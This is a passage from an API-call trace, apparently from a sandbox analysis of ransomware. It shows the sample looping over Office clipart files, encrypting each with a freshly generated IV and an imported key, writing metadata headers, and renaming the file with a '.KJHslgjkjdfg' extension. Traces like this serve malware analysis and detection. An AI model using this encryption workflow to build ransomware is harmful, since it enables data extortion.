CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.087] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x38b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.087] SetEndOfFile (hFile=0x130) returned 1 [0206.090] GetProcessHeap () returned 0x2ef0000 [0206.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.090] GetProcessHeap () returned 0x2ef0000 [0206.090] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.090] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294989.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294989.wmf.kjhslgjkjdfg")) returned 1 [0206.092] CloseHandle (hObject=0x130) returned 1 [0206.092] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6180, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0294991.WMF", cAlternateFileName="")) returned 1 [0206.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.093] GetProcessHeap () returned 0x2ef0000 [0206.093] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.093] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.093] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.093] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.093] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.093] GetProcessHeap () returned 0x2ef0000 [0206.094] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.094] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.094] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.094] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.096] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.097] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.097] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.097] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.097] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.097] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.097] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.097] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6180, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6180, lpOverlapped=0x0) returned 1 [0206.099] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6180, dwBufLen=0x6180 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6180) returned 1 [0206.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.099] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6180, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6180, lpOverlapped=0x0) returned 1 [0206.099] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.099] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6254, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.099] SetEndOfFile (hFile=0x130) returned 1 [0206.103] GetProcessHeap () returned 0x2ef0000 [0206.103] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.103] GetProcessHeap () returned 0x2ef0000 [0206.103] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.103] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0294991.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0294991.wmf.kjhslgjkjdfg")) returned 1 [0206.104] CloseHandle (hObject=0x130) returned 1 [0206.104] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x566b3c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x21b2, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0295069.WMF", cAlternateFileName="")) returned 1 [0206.104] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.106] GetProcessHeap () returned 0x2ef0000 [0206.106] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.106] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.106] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.106] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xe, lpOverlapped=0x0) returned 1 [0206.109] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.109] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.109] GetProcessHeap () returned 0x2ef0000 [0206.109] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.109] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.109] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.109] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.109] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.109] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.109] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.109] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.110] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.110] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.110] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.110] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.110] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x21b2, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x21b2, lpOverlapped=0x0) returned 1 [0206.111] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21c0, dwBufLen=0x21c0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x21c0) returned 1 [0206.111] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.111] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x21c0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x21c0, lpOverlapped=0x0) returned 1 [0206.111] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.111] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x2294, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.111] SetEndOfFile (hFile=0x130) returned 1 [0206.114] GetProcessHeap () returned 0x2ef0000 [0206.114] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.114] GetProcessHeap () returned 0x2ef0000 [0206.114] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.114] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0295069.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0295069.wmf.kjhslgjkjdfg")) returned 1 [0206.116] CloseHandle (hObject=0x130) returned 1 [0206.116] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe42c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0296277.WMF", cAlternateFileName="")) returned 1 [0206.116] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.117] GetProcessHeap () returned 0x2ef0000 [0206.117] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.117] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.117] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.117] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.119] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.119] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.119] GetProcessHeap () returned 0x2ef0000 [0206.120] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.120] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.120] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.120] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.120] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.120] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.120] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.120] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.120] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.120] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.120] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.120] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xe42c, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xe42c, lpOverlapped=0x0) returned 1 [0206.122] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe430, dwBufLen=0xe430 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xe430) returned 1 [0206.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.123] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xe430, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xe430, lpOverlapped=0x0) returned 1 [0206.123] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.123] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xe504, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.123] SetEndOfFile (hFile=0x130) returned 1 [0206.126] GetProcessHeap () returned 0x2ef0000 [0206.126] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.126] GetProcessHeap () returned 0x2ef0000 [0206.126] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.126] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296277.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296277.wmf.kjhslgjkjdfg")) returned 1 [0206.127] CloseHandle (hObject=0x130) returned 1 [0206.128] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1088e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0296279.WMF", cAlternateFileName="")) returned 1 [0206.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0206.129] GetProcessHeap () returned 0x2ef0000 [0206.129] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0206.130] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0206.130] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0206.130] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0206.132] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.132] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.132] GetProcessHeap () returned 0x2ef0000 [0206.132] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0206.132] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0206.132] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.132] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0206.132] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0206.132] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0206.132] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0206.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0206.133] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0206.133] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0206.133] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0206.133] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.133] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1088e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1088e, lpOverlapped=0x0) returned 1 [0206.135] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10890, dwBufLen=0x10890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10890) returned 1 [0206.135] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.135] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10890, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x10890, lpOverlapped=0x0) returned 1 [0206.136] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0206.136] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0206.136] SetEndOfFile (hFile=0x130) returned 1 [0206.139] GetProcessHeap () returned 0x2ef0000 [0206.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0206.139] GetProcessHeap () returned 0x2ef0000 [0206.139] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0206.139] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.kjhslgjkjdfg")) returned 1 [0206.141] CloseHandle (hObject=0x130) returned 1 [0206.141] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6613c7b0, 